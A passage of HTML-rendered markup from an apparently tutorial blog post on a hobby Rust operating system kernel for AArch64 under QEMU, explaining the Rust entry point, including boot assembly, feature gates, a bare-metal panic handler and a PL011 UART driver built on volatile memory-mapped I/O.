&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;                   feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-preempt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;, feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-memory&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)))]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: no demo selected, halting&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            hal::arch::halt();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[panic_handler]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;panic&lt;/span&gt;(_info: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;PanicInfo&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    UartLogger::puts(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: PANIC&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hal::arch::halt();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;crates/arch_aarch64_virt/src/main.rs&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Let&amp;rsquo;s unpack the important pieces.&lt;/p&gt;
&lt;h3 id=&#34;91-global_asm-and-including-boots&#34;&gt;9.1 &lt;code&gt;global_asm!&lt;/code&gt; and including boot.S&lt;/h3&gt;
&lt;figure id=&#34;global-asm&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;core::arch::&lt;span style=&#34;color:#8aadf4&#34;&gt;global_asm!&lt;/span&gt;(&lt;span style=&#34;color:#8aadf4&#34;&gt;include_str!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;boot.S&amp;#34;&lt;/span&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Including assembly in the Rust build&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This line tells the Rust compiler: &amp;ldquo;take the contents of &lt;code&gt;boot.S&lt;/code&gt; and include them as global assembly in this compilation unit.&amp;rdquo; The assembler processes our boot code, the linker resolves the symbols (&lt;code&gt;_start&lt;/code&gt;, &lt;code&gt;rust_main&lt;/code&gt;, &lt;code&gt;__stack_top&lt;/code&gt;, etc.), and everything ends up in one binary. It&amp;rsquo;s the bridge between our assembly boot code and Rust.&lt;/p&gt;
&lt;h3 id=&#34;92-unsafeno_mangle-and-extern-c&#34;&gt;9.2 &lt;code&gt;#[unsafe(no_mangle)]&lt;/code&gt; and &lt;code&gt;extern &amp;quot;C&amp;quot;&lt;/code&gt;&lt;/h3&gt;
&lt;figure id=&#34;rust-entry&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[unsafe(no_mangle)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;extern&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;rust_main&lt;/span&gt;() -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;The Rust entry point signature&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Two things happening here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;#[unsafe(no_mangle)]&lt;/code&gt;&lt;/strong&gt; prevents the Rust compiler from mangling the function name. Normally, Rust encodes type information into symbol names (so &lt;code&gt;rust_main&lt;/code&gt; might become something like &lt;code&gt;_ZN17arch_aarch64_virt9rust_main17h3a2b1c4d5e6f7g8hE&lt;/code&gt;). Our assembly code calls &lt;code&gt;bl rust_main&lt;/code&gt; and needs to find that exact name.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;extern &amp;quot;C&amp;quot;&lt;/code&gt;&lt;/strong&gt; says: use the C calling convention. Rust&amp;rsquo;s own calling convention isn&amp;rsquo;t stable and can change between compiler versions. The C ABI is well-defined on every platform. On AArch64, the C calling convention puts the first argument in &lt;code&gt;x0&lt;/code&gt;, the second in &lt;code&gt;x1&lt;/code&gt;, return values in &lt;code&gt;x0&lt;/code&gt;, and so on. Since assembly calls this function, we need a stable, predictable calling convention.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-&amp;gt; !&lt;/code&gt;&lt;/strong&gt; means this function never returns. On bare metal, there&amp;rsquo;s nothing to return to. The CPU would start executing whatever random bytes follow in memory. The function must either loop forever or halt the CPU.&lt;/p&gt;
&lt;h3 id=&#34;93-the-feature-gates&#34;&gt;9.3 The feature gates&lt;/h3&gt;
&lt;figure id=&#34;features&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(feature = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;demo-ipc&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: IPC + cooperative scheduling demo&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    kernel::kmain(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;logger)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Compile-time feature selection&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The &lt;code&gt;#[cfg(feature = &amp;quot;...&amp;quot;)]&lt;/code&gt; attributes are compile-time switches. Depending on which feature you pass to the build script, a different code path gets compiled in. Only one demo runs at a time. This is a common pattern in embedded Rust: use cargo features to select between different configurations without runtime overhead.&lt;/p&gt;
&lt;h3 id=&#34;94-the-panic-handler&#34;&gt;9.4 The panic handler&lt;/h3&gt;
&lt;figure id=&#34;panic-handler&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[panic_handler]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;panic&lt;/span&gt;(_info: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;PanicInfo&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    UartLogger::puts(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: PANIC&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hal::arch::halt();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Bare-metal panic handler&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;On bare metal, you must define what happens when Rust panics (array out of bounds, &lt;code&gt;unwrap()&lt;/code&gt; on &lt;code&gt;None&lt;/code&gt;, explicit &lt;code&gt;panic!()&lt;/code&gt;, etc.). There&amp;rsquo;s no OS to catch it. Our handler prints &amp;ldquo;PANIC&amp;rdquo; to the UART and halts. In a more sophisticated kernel, you&amp;rsquo;d print the panic message and a stack trace. For now, knowing something panicked is enough.&lt;/p&gt;
&lt;h2 id=&#34;10-pl011-uart-talking-to-hardware-via-mmio&#34;&gt;10. PL011 UART: talking to hardware via MMIO&lt;/h2&gt;
&lt;p&gt;In a normal program, every memory address maps to a byte of RAM. Address &lt;code&gt;0x1000&lt;/code&gt; holds some data, you read it, you write it, it&amp;rsquo;s just storage. On bare metal, some addresses are special: they&amp;rsquo;re connected to hardware peripherals instead of RAM. Writing to address &lt;code&gt;0x0900_0000&lt;/code&gt; on our QEMU &lt;code&gt;virt&lt;/code&gt; machine doesn&amp;rsquo;t store anything in memory. It sends a byte out the serial line. This is &lt;strong&gt;memory-mapped I/O&lt;/strong&gt; (MMIO).&lt;/p&gt;
&lt;p&gt;The PL011 UART sits at that address. When you write a byte to offset &lt;code&gt;0x00&lt;/code&gt; from that base, the UART hardware transmits it. When you read from offset &lt;code&gt;0x18&lt;/code&gt;, you get the UART&amp;rsquo;s flag register, telling you whether the transmit FIFO is full. These addresses come from the hardware manufacturer&amp;rsquo;s specification (or in QEMU&amp;rsquo;s case, from QEMU&amp;rsquo;s source code and the &lt;code&gt;virt&lt;/code&gt; machine documentation). There&amp;rsquo;s no way to discover them at runtime. You look them up.&lt;/p&gt;
&lt;h3 id=&#34;101-the-uartlogger-implementation&#34;&gt;10.1 The UartLogger implementation&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s look at how we actually write bytes to the UART:&lt;/p&gt;
&lt;figure id=&#34;mmio-helpers&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;UART0_BASE&lt;/span&gt;: &lt;span style=&#34;color:#ed8796&#34;&gt;usize&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0x0900_0000&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;impl&lt;/span&gt; UartLogger {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[inline(always)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mmio_write&lt;/span&gt;(offset: &lt;span style=&#34;color:#ed8796&#34;&gt;usize&lt;/span&gt;, val: &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; { core::ptr::write_volatile((&lt;span style=&#34;color:#eed49f&#34;&gt;UART0_BASE&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; offset) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;, val) }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[inline(always)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mmio_read&lt;/span&gt;(offset: &lt;span style=&#34;color:#ed8796&#34;&gt;usize&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; { core::ptr::read_volatile((&lt;span style=&#34;color:#eed49f&#34;&gt;UART0_BASE&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; offset) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;) }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;MMIO helper functions (from main.rs)&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;write_volatile&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;read_volatile&lt;/code&gt;&lt;/strong&gt; are critical. Normally, the Rust compiler (through LLVM) is free to optimize away memory operations. If you write to an address and never read it back, the optimizer might skip the write entirely. &amp;ldquo;Why bother,&amp;rdquo; it thinks, &amp;ldquo;nobody&amp;rsquo;s going to look at it.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;But for MMIO, the hardware IS looking at it. Writing to the UART data register transmits a byte. The compiler can&amp;rsquo;t see that side effect. &lt;code&gt;volatile&lt;/code&gt; tells the compiler: &amp;ldquo;this access has effects you can&amp;rsquo;t reason about. Do it exactly as written, in exactly this order.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Both functions are &lt;code&gt;unsafe&lt;/code&gt; because we&amp;rsquo;re casting raw integers to pointers and dereferencing them. In safe Rust, pointer arithmetic is forbidden. On bare metal, it&amp;rsquo;s the only way to talk to hardware.&lt;/p&gt;
&lt;h3 id=&#34;102-sending-a-character&#34;&gt;10.2 Sending a character&lt;/h3&gt;
&lt;figure id=&#34;putc&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;putc&lt;/span&gt;(c: &lt;span style=&#34;color:#ed8796&#34;&gt;u8&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// FR (0x18) bit5 = TXFF (transmit FIFO full)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::mmio_read(&lt;span style=&#34;color:#f5a97f&#34;&gt;0x18&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt; (&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt;)) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::mmio_write(&lt;span style=&#34;color:#f5a97f&#34;&gt;0x00&lt;/span&gt;, c &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;u32&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;PL011 character transmission (from main.rs)&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The PL011 UART has a transmit FIFO (a small hardware buffer, typically 16 bytes). When you write a byte to the data register (offset &lt;code&gt;0x00&lt;/code&gt;), it goes into the FIFO. The UART hardware drains the FIFO at the configured baud rate, sending bits out the serial line.&lt;/p&gt;
&lt;p&gt;But the FIFO can fill up. If you write faster than the UART can transmit, the FIFO overflows and bytes get lost. So before writing, we check the Flag Register (offset &lt;code&gt;0x18&lt;/code&gt;). Bit 5 is &lt;code&gt;TXFF&lt;/code&gt; (transmit FIFO full). If it&amp;rsquo;s set, we spin-wait until there&amp;rsquo;s room.&lt;/p&gt;
&lt;p&gt;This is called &lt;strong&gt;polling&lt;/strong&gt; or &lt;strong&gt;busy-waiting&lt;/strong&gt;. It&amp;rsquo;s the simplest approach and perfectly fine for debug output. In a production driver, you&amp;rsquo;d use interrupts instead (the UART can signal when the FIFO has room, so the CPU can do other work instead of spinning).&lt;/p&gt;
&lt;h3 id=&#34;103-sending-a-string&#34;&gt;10.3 Sending a string&lt;/h3&gt;
&lt;figure id=&#34;puts&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;crate&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;puts&lt;/span&gt;(s: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;b &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; s.as_bytes() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; b &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::putc(&lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;\r&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Self&lt;/span&gt;::putc(b);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;PL011 string transmission with newline conversion (from main.rs)&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Two things to notice. First, we iterate over the raw bytes of the string (&lt;code&gt;s.as_bytes()&lt;/code&gt;), not characters. At this level, we&amp;rsquo;re dealing with bytes, not Unicode code points.&lt;/p&gt;
&lt;p&gt;Second, the &lt;code&gt;\n&lt;/code&gt; to &lt;code&gt;\r\n&lt;/code&gt; conversion. Serial terminals expect both a carriage return (&lt;code&gt;\r&lt;/code&gt;, move cursor to column 0) and a line feed (&lt;code&gt;\n&lt;/code&gt;, move cursor down one line). If you send just &lt;code&gt;\n&lt;/code&gt;, many terminals will move down without returning to the left edge, giving you a staircase effect. So we insert a &lt;code&gt;\r&lt;/code&gt; before every &lt;code&gt;\n&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;104-the-logger-trait-implementation&#34;&gt;10.4 The Logger trait implementation&lt;/h3&gt;
&lt;figure id=&#34;logger-impl&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;impl&lt;/span&gt; hal::log::Logger &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; UartLogger {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, s: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;str&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        UartLogger::puts(s);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Logger trait implementation (from main.rs)&lt;/strong&gt;
    &lt;/figcaption&gt;
